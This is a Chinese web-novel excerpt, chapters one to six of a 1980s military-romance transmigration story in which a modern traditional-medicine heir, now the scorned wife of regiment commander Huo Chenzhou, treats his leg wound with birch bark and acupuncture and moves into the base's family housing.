《八零随军大东北，霍团长爬炕轻哄娇娇》 第一章 穿书 霍沉舟站在门口，看着床上背对着他的女人，又想到她用骗来的三千块钱在省城肆意挥霍，对儿子不管不问，忍不住头疼地捏了捏眉心：“沈晚，我们离婚吧。” 床上蜷着的女人没吭声，霍沉舟闭了闭眼，继续道："当年的事不怪你，我愿意负责。但这五年，我已经仁至义尽了。" 他顿了顿，声音已经趋于平静："你这样的女人根本不配照顾小川，我这次回部队打申请，最多一个月，我一定来接小川。" 说完也不管她在想什么了，转身大步离开。 梦里的一切都像真实发生过的一样，沈晚刚疑惑自己怎么会做这样的梦，迷迷糊糊间便被一个小男孩拉着下了大巴车。 沈晚看着不远处标的“东北戍边第七师”七个大字，抬手揉了揉眼睛，想让自己清醒一点。 那小男孩见她抬手却条件反射般后退两步：“妈妈，我不是故意要吵醒你的，我们到站了。” 沈晚看着面前瘦小单薄却眉目清秀的小男孩，陌生的记忆随之而来。 她赫赫有名的现代中医世家传人穿书了，穿成了《八零重生之军婚甜蜜蜜》里离婚后被五十岁老光棍折磨致死的炮灰女配。 原主五年前用名声为借口逼霍沉舟结婚，婚后却在婆家兴风作浪，对儿子不闻不问，前阵子更是谎称儿子生病，从公婆那里骗了三千块钱挥霍一空。 霍沉舟对原主彻底失望，下定决心要和她离婚，原主终于慌了，急匆匆带着孩子来找随军。 霍小川见沈晚呆愣在原地不动，有点紧张地小声试探："妈妈，我们去找爸爸吧。" 沈晚看着周围白雪皑皑的山峦。 人生地不熟，她只好跟上霍小川，深一脚浅一脚地往部队大门走去。 就在这时，远处雪地上突然有几个战士抬着担架往营区跑来，边跑边冲哨兵喊道：“麻溜的！快去通知医院，霍团长受了很严重的伤！” 霍小川看见担架上的人之后小脸唰的一下变白了，喃喃道：“爸爸……” 担架上的男人身形高大，即使昏迷不醒，眉宇间仍透着凌厉的肃杀之气。 由于长年当兵，所以皮肤粗糙，但是五官精致，鼻梁高挺，薄唇紧抿。 此刻，他军装外套已经被雪水和血水浸透，右腿隐隐可见狰狞的伤口。 沈晚只扫了一眼，心中已有大概，身上大多数都是皮肉伤，最棘手的是右腿的伤势，如果不及时处理，肌肉坏死或者感染，很大可能落下残疾。 原著里霍沉舟就是因此瘸腿，被迫退伍。 霍小川眼泪汪汪地扑了上去：“爸爸。” 一个身材挺拔的军官拦住他，声音急切又不失温和："小娃儿，这可不是你爸，你认错人咧！去找你娘。" 顾战一抬头，却看见刚才还站在这的年轻女人，手里正拿着一块桦树皮跑回来。 沈晚将树皮递给他：“同志，桦树皮可以收敛止血，不然再拖一会，你们团长的腿真的废了。” 顾战一时有些拿不定主意。 这东北随处可见的桦树皮，真能有止血的奇效？ 沈晚见他犹豫，二话不说直接用牙齿利落地撕成细条，混合雪水搓出粘稠的汁液，动作利落地敷在霍沉舟右腿的伤口上。 "住手！"旁边的小战士急了，"你干哈呀？万一感染了怎么办！" "就是！哪来的娘们瞎折腾？"另一个战士也怒道，"霍团长要是有个好歹，你担得起责任吗？" 顾战本想把沈晚拉开，但沈晚头也不抬，单手从兜里掏出一张结婚证，"啪"地一声拍到他怀里。 "我是霍沉舟媳妇，我不会害他的。" "啥玩意？团长媳妇？"顾战整个人都愣住了，手忙脚乱地接住那张结婚证。 低头一看，照片上确实是霍沉舟和眼前这个女人。 结婚证造不了假，但顾战怎么也无法将面前这个气质清冷的女人与传闻中那个蛮横无理的村妇联系起来。 旁边几个战士也面面相觑。 霍小川泪眼惺忪地看着沈晚摘下围巾给霍沉舟绑在腿上止血，总觉得她好像哪里变得不一样了。 顾战见血真的止住了，也顾不得多想了，一把抱起霍小川，对沈晚沉声道：“跟我来吧。” 等到了军区医院，院长和手术经验最丰富的军医都在急诊室门口焦急地等着。 见霍沉舟被抬进来时浑身是血的样子，所有人都倒吸一口凉气。 战士们小心翼翼地将霍沉舟放到病床上，董建林院长立即上前检查伤势。 当他看见霍沉舟腿上的桦树皮时，皱起眉：“这是谁给他敷的？” 沈晚主动承认：“我敷的。” 旁边一个年轻的女军医立马呵斥：“胡闹！这是对伤患伤口的二次伤害。” 她伸手就要去扯那敷料。 沈晚一把扣住她的手腕，力道不轻不重，却让女军医动弹不得："伤口动脉出血，等不到你们准备手术就会失血性休克。桦树皮能收敛止血，总比让他血流干强。" 女军医挣了一下没挣脱，气得脸色发青："放开我。" 董建林却若有所思地抬手制止女军医：“怡宁，先别闹了，准备手术。” 林怡宁也知道眼下最重要的是给霍沉舟做手术，只能冷哼一声：“你最好祈祷霍团长没事，不然我不会放过你的。” 顾战在旁边安慰沈晚：“沈同志，你别介意，林医生就是太担心团长了。” 沈晚表示理解地点了点头：“没事。” 顾战带着沈晚和霍小川去隔壁病房休息，顺便介绍了一下自己：“你叫我顾战就行。” 沈晚听见这个名字，心里一动。 原来他就是本书的男主。 从霍沉舟残疾退伍后，顾战便平步青云，一直坐上师长的位置。 手术一直持续了五个小时。 手术成功后，霍沉舟被安排进单人病房。 霍小川又守了他一个小时，突然想上厕所，沈晚向顾战问清厕所的位置，带着霍小川去上厕所。 等两人回到病房门口时，正好听见里面传来顾战兴奋的声音： "团长，你终于醒了！可吓死我们了！" 顾战兴奋地按下呼叫铃。 沈晚脚步一顿。 病房里，霍沉舟紧锁眉头，英俊的面容因疼痛而略显苍白，额角沁着细密的汗珠。 他尝试着动了动右腿，却发现毫无知觉，眼神瞬间暗了下来。 霍沉舟低沉的声音里带着压抑的情绪："顾战，你老实告诉我，我是不是以后就残了？" 顾战连忙摆手："不不不，手术很成功，今天还要多亏嫂子救了你，不然你这条腿可能真的保不住了！。" 霍沉舟不明所以：“什么嫂子？” 顾战挤眉弄眼："就是沈同志啊，没想到嫂子竟然长得这么漂亮。" 霍沉舟脑子里自动浮现起沈晚的脸，反而忽略了她救了自己这句话，心中升起厌恶。 他不用想都知道沈晚此次来的目的，不就是不想离婚吗？ 这时，病房的门突然被推开。 沈晚牵着霍小川站在门口，清冷的目光与病床上的男人四目相对。 霍沉舟拧起眉，声音沙哑："你来干什么？" 第二章 霍沉舟苏醒 听到男人冰冷的声音，沈晚在心里翻了个白眼，要不是我来了，你这条腿也就废了。 霍小川跑到他床边：“爸爸，妈妈说想来和你好好过日子。” 沈晚脸上闪过一丝讪色。 这是原主哄骗儿子跟她来部队的话，可不是她的本意。 她对霍沉舟又没有感情。 而且沈晚相信，以她的医术，就算离婚了也能在这个年代闯出一片天地。 霍沉舟的脸色却肉眼可见地沉了下来。 他看向沈晚的眼神充满厌恶和警惕，仿佛在看什么令人作呕的东西。 五年的婚姻，早就让他对沈晚厌恶至极，如果让他继续和面前这个女人过日子，比杀了他还难受。 "好好过日子？"他冷笑一声，声音里带着压抑的怒意，"沈晚，你又想耍什么花样？" 他强撑着想要坐起来，却牵动了伤口，额角顿时渗出冷汗。 顾战连忙按住霍沉舟的肩膀："团长，你刚做完手术千万不能动弹！伤口会裂开的。" 霍沉舟充耳不闻，执意要起身。 沈晚淡淡开口："如果你想留下后遗症，变成一个残废，你就动。你下床走一圈也没人拦着你。" 这话呛人，整个病房瞬间安静得落针可闻。 顾战额头冒出冷汗，部队里还没人敢这么对团长说话。 他紧张地看向霍沉舟，生怕团长暴怒。 出乎意料的是，霍沉舟的动作却顿住了。 他低头看向自己缠满绷带的右腿，眼中闪过一丝复杂的情绪，最终，他缓缓靠回枕头上，没有再强行起身。 顾战总算松了口气，默默擦了擦额头的冷汗。 这对小夫妻也太吓人了，见面就跟仇人一样掐。 就在病房里的气氛逐渐怪异时，门被重重推开。 董建林大步走进来，身后跟着林怡宁和其他几个医生护士。 林怡宁看见霍沉舟苏醒，脸上闪过一丝喜意：“沉舟，你可算醒了，吓坏我们了。” 董建林走到病床前，仔细检查了霍沉舟的伤口，脸上露出欣慰的笑容："霍团长，手术很成功，你只要安心静养就能恢复。" 他抬头看向沈晚，眼中带着赞许，“多亏了这位女同志的紧急处理，不然你的腿可能真的保不住了，就算能保住，也会落下终身残疾。” 霍沉舟眉头微蹙，目光复杂地看向沈晚。 他想起顾战确实提过是沈晚救了他，但沈晚一个初中学历，什么时候懂医术了？ 顾站挠了挠头：“今天嫂子确实帮了大忙。” 董建林有些惊讶："这位女同志是谁的家属？" 顾战嘿嘿一笑，拍了拍霍小川的肩膀："院长，沈同志就是团长的媳妇，这是团长儿子。" 听到这句话，所有人都不由自主地露出不可置信的表情。 部队里一直流传着关于霍团长媳妇的传闻。 说她是个又懒又泼的乡下女人，整天好吃懒做，连孩子都不愿意带，还经常跟公婆吵架，霍团长每次收到家信都脸色阴沉，据说就是因为这个不省心的媳妇。 可眼前这个女人只穿着简单的藏蓝色棉袄，容貌清丽，杏眼樱唇，盈盈一握的细腰，宽大的旧衣也难以掩盖她的身材，乌黑的长发松松挽在脑后，露出白皙的脖颈。 最引人注目的是那双眼睛——清澈明亮，带着几分清冷，此刻她安静地站在那里，气质沉稳，哪有一点传闻中泼辣跋扈的样子？ 林怡宁表情一僵，脱口而出："怎么可能？" 她怎么也无法把这个气质出众的女人和传闻中那个粗鄙不堪的村妇联系起来。 顾战语气笃定：“咋不可能？结婚证我都瞅着了。” 周围的医生护士忍不住小声议论起来： "不是说霍团长的媳妇是个没文化的村姑吗？这看着比文工团的姑娘还有气质。" "嘘，小声点。不过确实不像传闻说的那样啊，连院长都夸她了。" 一个年轻护士撇撇嘴："再漂亮有什么用？我听说霍团长已经提交离婚申请了，就等批下来呢。" "真的假的？"另一个护士惊讶道，"那她还大老远带着孩子来部队？" "谁知道呢，说不定是来闹的。" 这些窃窃私语一字不落地传入林怡宁耳中。 她原本紧绷的表情渐渐放松，眼中闪过一丝得意。 是啊，霍沉舟马上就要和这个女人离婚了。 就算她长得再好看、再有本事又有什么用？等离婚申请通过，霍沉舟就恢复单身了。 想到这里，林怡宁的心情顿时轻松了不少。 董建林也是愣了一下，他看了一眼霍沉舟，见他脸色虽然难看却并未否认，心中便已了然。 他呵呵一笑：“原来是霍团长的爱人，多亏你今天想到用桦树皮止血。” 林怡宁不屑地冷嗤："我看是瞎猫碰上死耗子。" 沈晚不管她，对董建林说："院长，可以帮我找一副针灸用的银针吗？最好是三寸长的毫针。" 董建林闻言一怔：“你要银针干什么？” 沈晚简单解释：“我外公是村医，我跟在他身边耳濡目染，所以懂一点中医，霍沉舟的外伤虽然已经包扎好，但还有暗伤，针灸可以帮他疏通脉络。” 董建林对中医也略有研究，他想到沈晚之前展示的医术，点了点头：“行。” 林怡宁站在一旁，闻言冷笑一声："故弄玄虚。" 她双手抱胸，斜睨着沈晚，"霍团长刚做完手术，需要的是正规药物治疗，不是靠你那些上不了台面的手段。" 沈晚嘴角勾起一抹淡淡的讽刺，林怡宁口中上不了台面的手段，却是沈家传承百年的独门针灸术"九转回阳针"。 这套针法曾救过无数伤患，就连当年抗战时期，她祖父用这套针法在前线救治伤员的功绩，还被记载在军区医院的档案里。 "这位医生，"沈晚不紧不慢地开口，声音清冷如霜，"医术不分高低贵贱，能治病救人的就是好医术。" 这番话掷地有声，让病房里不少医护人员都暗暗点头。 董建林见状，连忙打圆场："沈同志说得对。中西医各有所长，能治病就是好方法。"他转向沈晚，"我这就去给你准备银针。" 林怡宁被噎得脸色发青，却找不出反驳的话。 等所有人陆陆续续离开病房，连霍小川都被顾战暂时带了出去之后，房间里陷入寂静。 霍沉舟脸色复杂地看着沈晚，缓缓开口：“沈晚，这次的事算我欠你一个人情，但婚我是一定会离的，离婚审批还有二十天就下来了。” 第三章 老公喝粥 霍沉舟说完这话，已经做好了沈晚会撒泼打滚、哭闹不休的准备。 毕竟按照以往的经验，只要一提离婚，她就会歇斯底里地闹起来。 可这次出乎意料的是，沈晚只是轻轻点了点头："可以。" 霍沉舟突然感觉自己看不透沈晚了。 眼前这个神色平静、举止从容的女人，与他记忆中那个蛮横无理的形象判若两人。 他心中微松，想着总算能摆脱这段痛苦的婚姻，可沈晚突然又开口："但是——" 霍沉舟眉心骤然拧紧，眼底闪过一丝厌烦。 果然，这个女人不会这么轻易答应离婚。 "你想要什么？"他声音冷硬，带着几分不耐，"钱？还是其他条件？" 沈晚抬眸看他，语气平静："我想先暂住在部队里，等我找到工作和住处再搬出去。" 霍沉舟眉头皱得更紧。 大东北的冬天，冰天雪地，她一个女人独自在外，不是冻死就是饿死。 他虽然厌恶她，但也不至于狠心到这种地步。 "随你。"他冷声道，"但离婚的事，不会变。" 沈晚点头："我知道。" 这时，房间里突然响起一阵突兀的"咕咕"声。 沈晚下意识捂住肚子，这才想起自己一整天都没顾上吃饭。 霍沉舟敛了敛神色，朝门外喊道："顾战。" 一直在外面偷听的顾战立马推门而入："团长！" "去食堂打点饭。" "好嘞！"顾战风风火火地冲了出去，不一会儿就拎着几个铝制饭盒回来，一边摆桌一边念叨："团长啊，你刚动完手术，得可劲儿吃点肉补补身子！我特意跟炊事班说的，整了红烧肉和排骨汤，你赶紧趁热乎造！" 他手脚麻利地打开饭盒，香气顿时弥漫整个病房。 沈晚看着桌上油亮诱人的红烧肉、金黄酥脆的煎鱼和冒着热气的排骨汤，不自觉地咽了咽口水。 顾战注意到她的眼神，笑着递过一双筷子："嫂子也一起吃吧，我打了不少。" 沈晚接过筷子，轻声道谢。 霍沉舟双手缠满纱布，顾战端起排骨汤：“团长，我喂你。” "沉舟刚做完手术，不能吃这些油腻的东西！"一道尖锐的女声突然从门口传来。 顾战转头，只见林怡宁提着保温饭盒站在门口，身旁还站着一位五十岁左右的中年军官。 那人身材挺拔，一身笔挺的军装衬得肩章上的将星格外醒目，方正的脸庞上刻着岁月的痕迹，眉宇间透着不怒自威的气势。 此刻，这位铁血军人却眼眶发红："沉舟......" 顾战立刻立正敬礼：“首长好。” 霍沉舟也面露尊敬：“首长。” 周卫国走到病床前，上下打量着霍沉舟的伤势，眼中满是心疼。 千言万语最后只能化作一声叹息，他轻轻拍了拍霍沉舟的肩膀："这次边境反渗透任务，你单枪匹马端掉了敌人的观察哨，立了大功。" 周卫国的声音有些哽咽，"要不是你及时发现那支境外武装分子的渗透路线，咱们的雷达站就危险了，师部已经决定给你记一等功！" 霍沉舟宠辱不惊：“谢谢首长，这都是我应该做的。” 周卫国欣慰地点点头，目光落在一旁的沈晚身上，打量到：“你就是沈晚？” 沈晚有点惊讶周卫国刚来怎么就认识她，抬眼看见站在他身后，眼神挑衅的林怡宁，便猜到她肯定在背后打“小报告”了。 "我是。"沈晚不卑不亢地答道。 周卫国眉头微皱。 他自然听说过沈晚，自己最得意的部下被一个乡下女人纠缠多年，他早就对沈晚心存不满。 此刻看着眼前这个气质沉静的女子，虽然总觉得和传闻中那个泼辣村妇哪里不一样，但多年的固有印象还是让他语气冷淡："听董院长说你会医？还救了沉舟。" 周卫国的语气带着几分怀疑，目光锐利地审视着沈晚。 沈晚坦然迎上他的视线：“我懂一些中医，霍沉舟的伤我只是紧急处理了一下，真正救他的是院长。” 面前的女同志神情自若，既不胆怯也不贪功，周卫国的脸色缓和了几分：“嗯，多谢了。” 他转向霍沉舟，语重心长道："沉舟啊，你现在的首要任务是好好养伤。至于其他事情，"他意有所指地瞥了眼沈晚，"等伤好了再说。" 林怡宁见状，嘴角微微上扬，看来连周师长都不待见这个女人。 霍沉舟明白周卫国是在暗示离婚的事情，沉默地点了点头。 林怡宁趁机将带来的饭盒放在床头柜上："霍团长，这是我特意熬的小米粥，您刚做完手术，吃点清淡比较好。" 她舀了一勺粥，自然地就要往霍沉舟嘴边送。 霍沉舟下意识往后避了避："不用了，我不饿。" 林怡宁的手尴尬地悬在半空，脸上闪过一丝难堪，讪讪地把粥碗转向顾战："顾营长，要不你来喂霍团长吧。" 顾战接过碗，看了看面无表情的霍沉舟，又瞄了眼站在一旁的沈晚，突然福至心灵般把碗往沈晚手里一塞："嫂子，还是你来吧！" 沈晚冷不防被塞了个粥碗，还没反应过来，就听霍沉舟冷声道："不用。" 病房里的气氛瞬间凝固。 周卫国见状，轻咳一声打圆场："沉舟啊，你现在需要补充体力。" 霍小川在旁边干着急，小手扒在病床边："爸爸，你要好好吃饭，才能好得快。" 面对儿子，霍沉舟冷硬的表情稍稍软化，他勉强扯了扯嘴角："爸爸不饿。" 林怡宁在一旁轻蔑地笑了笑："就是啊，顾营长，你也不想想霍团长都快和这个女人离婚了，怎么可能愿意让她喂饭？某些人还是有点自知之明比较好。" 沈晚原本不想理会，但听到林怡宁这阴阳怪气的话，一股无名火顿时窜了上来。 她上前一步，用勺子轻轻搅动几下，舀起一勺热粥。 在众人惊讶的目光中，她将勺子递到霍沉舟唇边，声音轻柔得不像话："老公，喝粥。" 这声"老公"叫得又软又糯，与之前的嚣张跋扈截然不同。 霍沉舟浑身一僵，抬眸对上沈晚的眼睛，女人漂亮的杏眼里带着挑衅的笑意，唇角微微上扬。 粥的香气在两人之间萦绕，沈晚的手稳稳地举着勺子，白皙的腕子在藏蓝色棉袄的衬托下格外醒目。 她的指尖不经意间擦过霍沉舟的下巴，激起一阵微妙的战栗。 霍沉舟的喉结滚动了一下。 第四章 扎针、霍沉舟羞愤 霍小川担心地碰了碰他的胳膊：“爸爸，你喝吧。” 霍沉舟眼神微动，终于缓缓张开嘴，含住了沈晚递来的勺子，温热的粥滑入口中。 林怡宁脸色顿时涨的跟猪肝一样，手指死死掐进掌心。 她特地熬的粥结果竟然便宜了沈晚这个小贱人！ 沈晚又喂了几口，见霍沉舟眉头紧锁像喝毒药一样，便把碗放到了一边。 她还不忘微笑着感谢林怡宁：“多谢林医生了，真是医者仁心啊，工作那么忙还特地送饭过来，想来平常也是这么照顾其他病患的吧？” 此言一出，病房外看热闹的几个护士迅速交换了个意味深长的眼神。 医院里谁不知道林怡宁的脾气？仗着自己的身份，平日里趾高气扬，对普通病患爱答不理。 这会儿突然这么殷勤，明眼人都看得出她对霍团长的心思。 林怡宁听出沈晚的阴阳怪气，气也不是，不气也不是，当着周首长的面，她又不好发作，只能硬生生挤出一抹比哭还难看的笑容："都是我应该做的。" 正当林怡宁脸上快挂不住笑容时，董建林来了，他先和周卫国打了声招呼：“老周，你来了。” 周卫国轻轻点头："来看看沉舟。" 语气熟稔，两人明显是旧相识。 紧接着董建林便径直走向沈晚，从白大褂口袋里掏出一个布包递给她："沈同志，部队条件有限，只找到这种普通的针灸针，不知道合不合用？" 沈晚接过布包，轻轻展开看了一眼。 里面整齐排列着十几根银光闪闪的细针，虽然不如她前世用的精致，但也足够用了。 "够用了，谢谢董院长。"她面露感激。 董建林看着沈晚谦恭有礼的态度，忍不住问道："沈同志，我可以在旁边看一下你是怎么扎针的吗？" 沈晚爽快地点头："没问题。" 她对这位院长还是很有好感的，至少不是那种见人下菜碟的势利眼。 董建林立马迫不及待起来："那什么时候开始？" 他虽然是西医出身，但对中医针灸一直很感兴趣。 只是老中医们大多避世不出，他始终没机会近距离观察。 沈晚被他的急切逗得有些好笑："现在就可以。" 董建林知道这种扎针治病需要安静的环境，便主动替沈晚赶人：“你们都先出去吧。” 林怡宁本来想留下来盯着沈晚，但见连周卫国都配合地往外走，她也不好再坚持，只能一步三回头地离开病房。 顾战牵着霍小川的小手，弯腰哄道：“小川跟叔叔出去等吧。” 霍小川很懂事地点点头：“好的顾叔叔。” 这乖巧懂事的样子让顾战都有点心疼了。 病房门咔嗒一声关上，沈晚将针包摊开在桌上，取出酒精棉球仔细给银针消毒。 霍沉舟盯着沈晚手里一根根比手指还长的银针，那细长的针尖在灯光下泛着冷冽的寒光。 他浑身紧绷："这能有用吗？" 沈晚抬眸，像看傻子一样瞥了他一眼："你试试不就知道了。" 董建林安抚道："霍团长，不用担心，我在旁边看着。" 他嘴上这么说着，但看向沈晚的眼神满是兴奋。 霍沉舟：“……” 他鹰隼般的目光死死盯着沈晚的一举一动，生怕她又搞什么花样，但一直等到给银针消毒完，这女人都没有其他异样的举动。 霍沉舟还没松口气，就看见沈晚的手突然伸向他的病号服领口，开始解他的扣子。 霍沉舟喝道：“你干什么？” 沈晚不耐烦地解释道："你见过谁扎针是隔着衣服扎的？" 董建林附和：“对对对，霍团长，你别抗拒，扎针都是要脱衣服的。” 霍沉舟抿紧薄唇，眼睁睁看着沈晚修长的手指灵活地解开他的扣子。 随着衣襟敞开，男人精壮的上身逐渐暴露在空气中。 常年训练造就的肌肉线条分明，宽肩窄腰的倒三角身材堪称完美，小麦色的胸膛上散布着几道陈年伤疤，却丝毫不显狰狞，反而平添几分野性的魅力。 沈晚的目光在那具堪称艺术品的身躯上扫过，心中啧啧赞叹。 不得不说，这男人的身材是真的好，哪怕她看过无数个男人的身材，能像他这么好的也只此一个。 她伸手按在霍沉舟的锁骨下方，指尖触到一片滚烫的肌肤。 霍沉舟被沈晚直勾勾的目光看得浑身不自在。 虽然两人连孩子都有了，但五年来真正坦诚相待的次数屈指可数。 每次都是匆匆了事，从没有像现在这样，被她用如此专注的目光一寸寸审视过。 他喉结不自觉地滚动了一下，小麦色的肌肤上泛起一层不易察觉的红晕。 沈晚的指尖沿着他的锁骨缓缓下移，在胸口的穴位上轻轻按压。 霍沉舟浑身肌肉瞬间绷得更紧，每一块腹肌都轮廓分明地隆起。 "放松。"沈晚皱眉，"你这样我没法下针。" 霍沉舟深吸一口气，强迫自己放松下来。 沈晚捻起一根银针，精准刺入他胸口的膻中穴。 霍沉舟只觉得一股暖流从针尖处扩散开来，像是冬日里突然饮下一口温酒，那股暖意顺着经络流向四肢百骸。 第二针落在天池穴。 沈晚起初下针还很谨慎，确认霍沉舟没有不适反应后，手上的动作逐渐加快。 只见她素手翻飞，一根根银针如行云流水般刺入穴位。 一开始，董建林还能认出沈晚扎的穴位。 每个穴位他都熟悉，心中默默分析着这些穴位组合的功效，不禁暗暗点头。 但随着治疗的深入，沈晚的手法越来越快，下针的位置也越来越刁钻。 董建林的眼睛渐渐跟不上她的动作，只能看到银光在她指间闪烁，针尖精准地刺入一个个他叫不上名字的穴位。 董建林心里实在想不明白，但看着沈晚专注的侧脸和紧蹙的眉心，他克制住了自己的求知欲望。 此时病床上的霍沉舟敏锐地察觉到身体的变化，心里逐渐由怀疑转变成震惊。 沈晚的医术竟然真的这么高明！ 沈晚收完上半身的银针，又开始去脱他的裤子。 霍沉舟睁大眼睛，又羞又愤，偏偏手还不能动：“沈晚，你知不知道羞耻？” 第五章 住进家属院 沈晚似笑非笑地看着他：“霍团长，你腿受了那么重的伤，伤筋动骨一百天，何况你这伤，怕是半年都恢复不了，但是我用针灸，可以让你快速康复。你想到哪里去了？” 霍沉舟听了，一时哽住。 毕竟沈晚也是为了他的身体着想，他再阻止就显得自己不知好歹了。 就这样，他沉默地看着沈晚费劲地褪下他的病号裤，最后全身只剩下一条军绿色的裤衩。 偏偏旁边的董建林还求知若渴般紧紧盯着他的身体，眼神热切得仿佛要在他身上盯出两个洞来。 霍沉舟躺在病床上，感觉太阳穴突突直跳，浑身的血液似乎都往上涌，脸烧得发烫。 沈晚的指尖顺着霍沉舟肌肉分明的大腿缓缓下滑，虽然这条腿暂时没有知觉，但视觉上的冲击依然让霍沉舟呼吸发紧。 董建林突然开口："沈同志，下一针是不是要扎在足三里？" 沈晚微微颔首："不错。" 找好位置后沈晚又扎了两针，霍沉舟闷哼一声，原本毫无知觉的右腿传来一阵酸胀感。 "有感觉了？"董建林眼前一亮。 霍沉舟难以置信地点点头。 "妙！太妙了！"董建林激动地拍手称赞，"沈同志这手针灸术，简直出神入化！" 约莫半小时后，沈晚终于开始收针。 她动作轻柔地将一根根银针取出，最后用手背擦了擦鼻尖的汗珠："好了，一周后再扎一次。" 霍沉舟立刻拧眉："还要扎？" 沈晚瞥了他一眼："怎么，堂堂霍团长还怕扎针？"她一边收拾针包一边说，"你这腿伤至少要扎三次，才能确保不留后遗症。" 董建林连忙帮腔："霍团长，沈同志说得对。你伤势这么严重，应该好好配合治疗才是。" 霍沉舟有些无奈地看着董建林围着沈晚不停地询问中医理论。 沈晚则耐心地一一解答，两人讨论得热火朝天。 等董建林终于意犹未尽地离开后，病房里总算安静下来。 霍沉舟低头看了眼自己光溜溜的身体，耳根微微发烫："沈晚，能不能帮我把衣服穿上？" 沈晚点头：“可以。” 当然代价就是又被沈晚“不经意间”摸了几把腹肌。 霍沉舟：“……” 他的脸彻底黑了，这个女人，果然还是这么不知羞耻！ 当他重新穿着整齐时，顾战推门走了进来："团长，时间不早了，这病房里也休息不好，要不然把嫂——"接收到霍沉舟警告的眼神，顾战立刻改口，"把沈同志安排到别的地方休息一下吧？" 霍沉舟冷着脸点头："你把他们送到家属院吧。" 霍小川站在病床边没说话。 霍沉舟看向他时，眼神不自觉地柔和下来："小川，你乖乖听顾叔叔的话。" 小男孩犹豫了一下，突然踮起脚尖凑到霍沉舟耳边，用只有两人能听到的声音小声问："爸爸，你和妈妈真的要离婚吗？" 霍沉舟眼神微动，勉强扯了扯唇角："小川，这些事不用你操心。" 他知道儿子内心一直渴望母爱，可沈晚之前的所作所为，怎么配当母亲？ 霍小川失落地低下头。 沈晚看着父子俩的互动，用脚趾头想都”知道他们在说什么。 她走过去主动牵起霍小川的手："小川，我们先去休息，明天再来看爸爸。" 霍小川顺从地跟在她身后，小手紧紧攥着她的手指。 顾战一路带着他们往家属院走去，路上遇到的战士们都忍不住侧目。 几个年轻小战士凑在一起嘀嘀咕咕： "哎妈呀，这女同志长得可真带劲！比文工团的还俊！" "瞅那身段，那脸蛋，跟画报上的电影明星似的！" "俺咋瞅着有点眼熟呢？好像搁哪儿见过……" 顾战尴尬地咳嗽一声："沈同志，你别介意，这帮小子没见过世面。" 沈晚不以为意地笑了笑："没事。" 步行十五分钟后，一栋栋灰砖红瓦的平房出现在眼前。 整齐排列的房屋顶上积着厚厚的白雪，屋檐下挂着长长的冰溜子。 每户门前都用木板围出个小院，有的晾着冻得硬邦邦的被褥，有的堆着劈好的柴火。 顾战领着他们来到最靠边的一间："团长家在这，虽然他不常回来住，但每周都有人打扫。" 几个正在院里唠嗑的军嫂看见顾战领着陌生女人和孩子往霍团长家走，都有点好奇。 一个胖乎乎的婶子忍不住叫住顾战："顾营长，这个俊闺女是谁啊？咋往霍团长家领呢？" 顾战帮忙介绍："李婶，这是霍团长爱人沈晚同志，带孩子来探亲的。" 众人一听是霍沉舟的媳妇，脸上热情的笑容顿时僵住了。 "噢——"李婶拉长了音调，眼神上下打量着沈晚，"原来是霍团长家的那位啊。" 语气里的鄙夷藏都藏不住。 旁边几个军嫂也立刻变了脸色： "就是那个把霍团长家底都败光的？" "听说连亲儿子都不管，长得倒是人模人样的。" 沈晚听到这些话倒是没什么感觉，反倒是旁边的顾战脸色有些难看。 天色已经全黑了，顾战掏出钥匙打开门，一股冷气扑面而来。 "炉子在这边，"顾战指着墙角的小铁炉，"柴火都备好了，就是得自己生火。" 顾战说着，已经麻利地抱起几块劈好的松木，蹲在铁炉前："你第一次来东北，可能不会生火，我教你。" 他先用桦树皮做引火，再架上细小的干树枝，最后才放上粗木柴，接着用火柴点燃。 "要注意留通风口，"顾战指着炉底的铁栅栏，"不然容易闷熄。等火旺了再关炉门。" 沈晚目睹全程，感觉眼睛应该是看会了，至于实操会不会她就不知道了。 顾战站起身，突然一拍脑门："对了，炕也得给你们烧上，不然大冷天的，非得冻感冒不可！" 他快步走到里屋，掀开炕席一角，露出下面的炕洞。 这是沈晚第一次见到东北的炕，忍不住有点好奇。 "这叫火炕，"顾战笑着解释，"晚上烧热了，睡在上面暖和着呢！" 顾战把炕烧好后，炕面很快就热了起来，热气顺着砖缝蔓延，整个屋子都暖和起来了。 "嫂子，有啥事上俺家找我就行！"顾战临走前嘱咐道，指了指不远处隔着一排平房的小院，"就内边儿，两步道儿！" 沈晚把他送到门口："放心吧。" 院里的军嫂们看见沈晚出来，又凑在一起嘀嘀咕咕。 第六章 反正我和霍沉舟快离婚了 "不是说她要跟霍团长离婚吗？咋还来探亲了？" 李丽"啧"了一声："你们傻啊？指定是来赖着霍团长的呗！有这么好的爷们儿，她要乐意离那才是虎呢！" "可不咋地！"其他军嫂纷纷点头，"霍团长要模样有模样，要前程有前程，换我我也得死乞白赖地跟着！" 沈晚回到厨房，想找一些能吃的东西。 刚才在医院她根本没吃几口，现在已经饿得前胸贴后背。 霍小川跟了进来，看见沈晚在厨房里翻找，怯生生地问："妈妈，你是不是饿了？" 沈晚头也没回地点头："有点饿。" "那我来做饭妈妈吧。"霍小川说着撸起袖子。 沈晚闻言有点心酸，原主之前对儿子不闻不问，所以这孩子小小年纪就学会了自己填饱肚子。 "我来做就行。"沈晚摸了摸他的头，"你去休息吧。" 霍小川盯着面前的沈晚，总觉得今天的妈妈好像有哪里不一样，对他格外的温柔。 沈晚在厨房翻找了半天，只找到几个冻得硬邦邦的土豆，无奈地叹了口气。 她对霍小川说了一声："我出去借点吃的，你在家等着。" 走到院里，那群军嫂的谈笑声立刻停了下来。 沈晚径直走向她们："几位嫂子，能不能借我点挂面？我出钱买也行，家里一点吃食都没有了。" 她态度诚恳，语气温和，倒是跟传闻中那个蛮横的泼妇判若两人。 几个军嫂神情有点尴尬，毕竟她们刚才还在背后说人闲话。 几人你看看我，我看看你，都在等着别人先开口。 沈晚倒是不觉得尴尬，反正她和霍沉舟马上就要离婚了，以后也不会再见面。 这时，隔壁院子里正在洗衣服的大姐看不下去了，甩了甩手上的水珠走过来："妹子，都是邻里邻居的，提什么借不借的！俺给你拿点面条去！" 这位大姐叫赵晓燕，是张副营长家的媳妇。 她今天可听说了，这位沈同志一来就救了霍团长一命，还受到董院长的赏识，哪里像她们传的那样不堪。 赵晓燕风风火火地回屋，不一会儿就抱着一大包手擀面出来，还塞了几个鸡蛋给沈晚："妹子，今天时间不早了，你先凑活着吃，明天俺带你去服务社买菜！那边啥都有，肉啊菜啊都新鲜着呢！" 沈晚笑着接过，眉眼弯弯："多谢大姐了，不知道怎么称呼您？"她本就生得好看，这一笑更是让人眼前一亮。 